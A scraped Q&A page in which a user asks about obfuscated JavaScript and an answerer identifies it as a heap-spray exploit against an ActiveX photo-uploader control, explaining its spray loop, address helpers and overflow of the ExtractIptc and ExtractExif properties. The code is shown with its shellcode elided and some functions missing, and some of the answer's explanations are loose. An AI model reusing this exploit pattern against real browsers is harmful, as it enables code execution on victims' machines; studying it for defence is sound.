Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 169631
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 11, 20262026-05-11T12:39:55+00:00 2026-05-11T12:39:55+00:00

I do not understand this code snippet : function ms(){ var plc=unescape(‘. unescape( ‘\x43\x43\x43\x43\n………….\xEF’.

  • 0

I do not understand this code snippet :

function ms(){      var plc=unescape(''.     unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();      if (mf)return(0);     mf=1;      var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);     var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;     for(i=0;i<hb;i++) m[i]=ss+plc;      hav();     return(1);      }   

In the above function I can’t seem to figure out the variable types, or figure out what it’s doing with the hsta variable, and what it’s assigning to it:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; for(i=0;i<hb;i++)m[i]=ss+plc; 

I also can’t figure out this function :

function fb(){     try {         var obj=null;         obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');         if(obj){             ms();             var buf = addr(0x0c0c0c0c);             while (buf.length < 400) buf += buf;             buf = buf.substring(0,400);             obj.ExtractIptc = buf;             obj.ExtractExif = buf;             }        } catch(e){}     return 0;     } 

What does the following code mean?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

What kind of variable is this?

var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; 

Most importantly, what is that code snippet trying to do?

Here are some more functions:

function hex(num,width){     var digits='0123456789ABCDEF';     var hex=digits.substr(num&0xF,1);     while(num>0xF){         num=num>>>4;         hex=digits.substr(num&0xF,1)+hex;         }      var width=(width?width:0);     while(hex.length<width)hex='0'+hex;     return hex;  }  function addr(addr){     return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));     } 

Any guidance would be appreciated.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. 2026-05-11T12:39:56+00:00Added an answer on May 11, 2026 at 12:39 pm

    It’s a javascript snippet trying to exploit a security vulnerability related to Facebook, more specifically to its image uploader client side ActiveX control.

    The cobj part tries to create an object of ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} which happens to be an ActiveX photo uploader control. The ExtractIptc and ExtractExif functions belong to that specific ActiveX control.

    The core of the code is really memory address manipulation, shifting, using masks to separate high and low bits. For example, hex((addr>>16)&0xFFFF,4)) takes an address, shifts it 16 bits to the right, clears up the lower part and converts it to a hex number. To actually understand most of this code, you should have the right debugging tools.

    Googling the {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID gave some interesting results you should look into:

    http://www.kb.cert.org/vuls/id/776931

    http://seclists.org/fulldisclosure/2008/Feb/0023.html

    http://securitytracker.com/alerts/2008/Feb/1019297.html

    Please note, this is not PHP. It’s javascript.

    More details…

    cobj is probably translated into a CreateObject() call. Every registered ActiveX control has its own Class ID, and they have the form {0000000000-0000-0000-0000-000000000000}. When you want to refer to the registered library, and create an instance of it, you can use either its name or its Class ID.

    The ActiveX control itself should be an .OCX or .DLL file on your computer. If you can find this file and debug it, you’ll get most specific details about the ExtractIptc and ExtractExif functions. Again, those two functions seem to have vulnerabilities when called in a specific way, and this is what that script is trying to exploit.

    The var hsta=0x0c0c0c0c part defines a variable hsta, equal to the hexadecimal number 0c0c0c0c. It’s the same as writing var hsta = 202116108. In computer engineering, it’s easier to deal with hexadecimal addresses than decimal numbers since addresses and data inside the computer’s memory is binary and can be directly represented as a hex number. More details about hexadecimal there: http://en.wikipedia.org/wiki/Hexadecimal.

    The variable name hsta seems to be in hungarian notation (first letter represents the variable type – h for hex). I would therefore assume it means hexadecimal start address (hsta). Following the same train of thought, my guess would be that pl means payload and plc means payload code.

    The payload code is the code the computer will execute if the exploit was successful, and it’s what you see at the beginning of the script (\x43\x43\x43\x43\n....\xEF). It’s encoded as shell code for a particular CPU architecture and operating system. That means code that’s already compiled, standalone, and can be piped to the CPU directly. If you decode this, you’ll probably find something close to machine code. It’s probably nothing positive.

    The hex(num,width) function converts a decimal number to its hexadecimal form. I’ve tested the function separately, and it returned 3E8 when feeding it 1000. The width variable is simply used to exit the script if the resulting hexadecimal number is bigger than specified.

    About this part:

    var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; 

    The buf variable is a buffer. A buffer is nothing more than data in memory. It can be interfaced as a string, as shown in this code. My guess is that a buffer of 400 bytes is created from whatever contents is in memory at 0x0c0c0c0c, and then fed into two functions.

    There are several function definitions missing in here. Namely, the hav() function.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Ask A Question

Stats

  • Questions 172k
  • Answers 172k
  • Best Answers 0
  • User 1
  • Popular
  • Answers
  • Editorial Team

    How to approach applying for a job at a company ...

    • 7 Answers
  • Editorial Team

    What is a programmer’s life like?

    • 5 Answers
  • Editorial Team

    How to handle personal stress caused by utterly incompetent and ...

    • 5 Answers
  • Editorial Team
    Editorial Team added an answer git svn gc (possibly git gc and git prune before) May 12, 2026 at 2:32 pm
  • Editorial Team
    Editorial Team added an answer You need to call removeChild on a an element itself:… May 12, 2026 at 2:32 pm
  • Editorial Team
    Editorial Team added an answer NOTE: This does not work in any recent version of… May 12, 2026 at 2:32 pm

Related Questions

I do not understand this code snippet : function ms(){ var plc=unescape('. unescape( '\x43\x43\x43\x43\n.............\xEF'.
First things first, here is a little snippet code to help explain my problem:
I am looking for examples of reasonably short, but reasonably complicated segments of code
This is probably a really easy question to answer, but for some reason I'm
Yesterday I ran into a g++ (3.4.6) compiler problem for code that I have

Trending Tags

analytics british company computer developers django employee employer english facebook french google interview javascript language life php programmer programs salary

Top Members

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.